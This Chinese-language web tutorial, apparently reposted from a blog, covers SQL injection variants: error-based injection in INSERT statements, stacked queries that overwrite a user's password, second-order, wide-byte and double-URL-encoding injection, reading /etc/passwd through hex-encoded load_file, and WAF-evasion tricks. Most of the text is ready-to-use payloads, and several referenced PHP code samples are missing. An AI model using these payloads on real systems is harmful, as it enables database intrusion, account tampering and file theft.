数据库
首页 > 数据库> > 6.SQL注入-其他注入

6.SQL注入-其他注入

作者:互联网

一.更新注入

所有更新类的操作,只返回布尔型的结果,并不会返回数据,所以无法像select一样进行多元化的处理。

所以更新类的操作操作核心就是构建报错注入。

insert into user(username,password,role) values 
('wowo' or updatexml(1,concat(0x7e,database(),0x7e),1)
or ' ', '123456', 'user')

 

二.堆叠注入

在一个执行的语句中可以执行多条SQL(批量一次性执行多条SQL语句)

select * from user where userid = 1; 
update user set password='12345' where userid = 1;

?id=1; update user set password = '12345' where userid = 1;
select * from user where username = 'admin'; 
update user set password='12345' where userid=1;#''

上述payload实现PHP源码:

 

三.二次注入

# post请求:
username = admin'#$password = 12345

上述payload实现PHP源码:

 

 

四.宽字节注入

正常的sql语句:select * from article where article='1';

1. 当输入1'时,在addslashes函数对的保护下,单引号被反斜线\转义。被转义的sql语句:select * from article where article='1\";

2. 当输入1%bf’时,在gbk等宽字符集的环境下,%bf和用来转义的(%5c)形成新字符�。注入时的sql语句:select * from article

    where articleid =1%bf\' and 1=1%23;

3. %bf与转义符号(16进制为%5c)组合成了%bf%5c形成新字符,从而吃掉了这个转义符合,导致单引号可以闭合,形成经典

    的注入形式

id=-1%df' union select 1,2,3,4,5%23

select * from article where articleid='id=-1�\' union select 1,2,3,4,5#'

上述payload实现PHP源码:

 

 

 五.URL解码注入

id=1%2527 and 1=1%23
select * from article where articleid='1' and 1=1#'
id=1%2527 and 1=2%23
select * from article where articleid='1' and 1=2#'

上述payload实现PHP源码:

 

六.奇技婬巧

1.闭合与逻辑

1' or '1' ='1  闭合后:id='1' or '1' = '1'

也可以写成:1' || '1'='1,同理也可以使用&&表示and

1' or 1=1#  闭合后:id='1' or 1=1#'

2.所有的确定字符串,均可以使用hex函数来处理16进制,避免引号转义

select hex('/etc/passwd')    #输出为 2F6574632F706173737764

select load_file(0x2F6574632F706173737764)

select hex('learn')

select group_concat(table_name) 
from information_schema.tables where table_schema=0x6C6561726E select hex('%雨%') select * from article where content like 0x25E99BA825

3.WAF绕过

1.双写绕过:
select and or 等被过滤的话,可以这么构造,selselectect,anandd,
这样即使被过滤了,剩余字符串也能拼接成正常语句。 2.大小写绕过: SelecT,AnD,Or,可以用来绕过简单的过滤手段 3.编码绕过: Base64,ASCⅡ,16进制
select concat(ASCII('a'),ASCII('1'),char('50')); 4.特殊字符绕过: 空格:/**/,%20,%a0,%0d,%0b,%09,%0c,select(password)from(user)
and:&&
or:||
select * from/**/user
内联注释:select username from /*!user*/ /*!union*/ select 2
00截断:sel%00ect,mysql中不会截断,但是waf可能认为截断
%:sel%ect,如果是iis+asp,百分号会被忽略

 

标签:1%,user,其他,SQL,article,where,id,select,注入
来源: https://www.cnblogs.com/eveplw/p/16538706.html